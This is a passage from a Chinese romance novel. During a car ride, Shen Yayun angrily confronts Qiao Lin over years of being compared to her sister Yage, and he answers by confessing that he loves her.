沈雅韵没有回复,昏暗的视线内他也看不清她的神情,只能按照自己的想法擅自揣摩着说下去,“你们不知道为什么吵了一架,她那时就拜托我照顾你。”
她依然没有说话,乔霖只好自顾自的说下去,“后来我考的院校在本地,雅歌当时去了外地,我也就顺应她的委托尽心照顾你,包括委托我送给你的东西……”
沉默了一会,接下来的话似乎有些艰难,再开口时,声音晦涩低沉,“文具,鲜花,以及你喜欢的明星海报……”
他说出的那些东西在记忆里一一浮现,每说一个,沈雅韵的手指跟着抖动一下。
原来是这样……
原来不是特意的关注,而是受了沈雅歌的委托啊……
那些珍藏起来的物件此刻突然变成了一个笑话,嘲笑着她的自作多情,她难堪地握紧了手心,然而乔霖的声音还在继续。
“雅韵,我不知道你们之间发生过什么,但雅歌她是关心你的,年轻时候大家都不懂事,但这么多年过去了,你也该……”
“我也该对她好一点是吗?”沈雅韵打断他的话,“你说这些就是想说明这点是吗?”
“不是。”
拳心不知何时早已握紧,身体离乔霖的方向远了些,她质问出声,不曾想乔霖却极快反驳,然而她这时如何还能听进他的辩驳。
“不是?那你是什么意思,你不是想像他们一样教训我应该对沈雅歌好一点,不要不懂事,多和她学习,你不就是想说这些吗!”
她语速很快
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,甚至因为激动话音里带了颤,显然失了大部分理智,乔霖一听就知道糟糕了,连忙解释。
“不是……雅韵你误会了——”
“我误会,我没有!”沈雅韵声音很大,像是要昭告什么用力反驳着,“是,沈雅歌是很好,所有人都说她好,包括我也这样认为,以至于你们说要像向她学习,要听话要懂事,要努力成为她这样的人的时候,我连反驳都显得这样的不懂事……
“可是……”多年来的委屈涌上心头让她一时哽咽,差点无法出声。
吸了吸鼻子,努力压下心头的酸涩,掐着手心,尽量不让自己的声音发颤,对着看不清面目的乔霖继续道,“可是她是她我是我啊……”
“为什么你们总要拿我和她对比,我就是学习不好,就是听不懂老师讲什么,就是考不到第一,就是没办法像她一样这么优秀,就是这么差劲又怎么了?”
“你不差——”
他的解释刚出口便被语速极快的沈雅韵飞快打断,“我为什么要像她一样,我就是不想像她一样,不想所有人都跟我说她多好多好,就是不想和她站在一起,就是不想和她好不行吗?”
“你说这些是想说什么?是想说她对我好所以我要感恩戴德是吗?”
她说到最后都不知道自己在说什么,只觉得浑身颤抖的厉害。
“雅韵我不是这个意思,你听我说,我的意思是——”乔霖语速也快了起来,明显有些慌了。
“那你是什么意思?你不就是想告诉我,你对我好是因为她的原因,让我……”停顿了一下,咽下涌上眼眶的委屈,“让我不要痴心妄想,不就是这个意——”
“不是!”乔霖大吼了一声。
这一声将愤怒委屈激动的沈雅韵瞬吓得安静下来,前座的司机似乎也将呼吸放轻了。
他说话向来温温柔柔的,在她面前从来没有急过眼,此刻被吼这么一下,冷静是冷静了一点,然而比冷静更快涌上来是无尽的委屈。
眼泪控制不住顺着眼角落下,不等滴落在衣服上,乔霖低沉的、无奈的、懊恼的话语便随着轻缓的情歌一同传进她的耳朵,落在脑海里炸开成一朵朵灿烂的烟花。
“是因为我喜欢你!”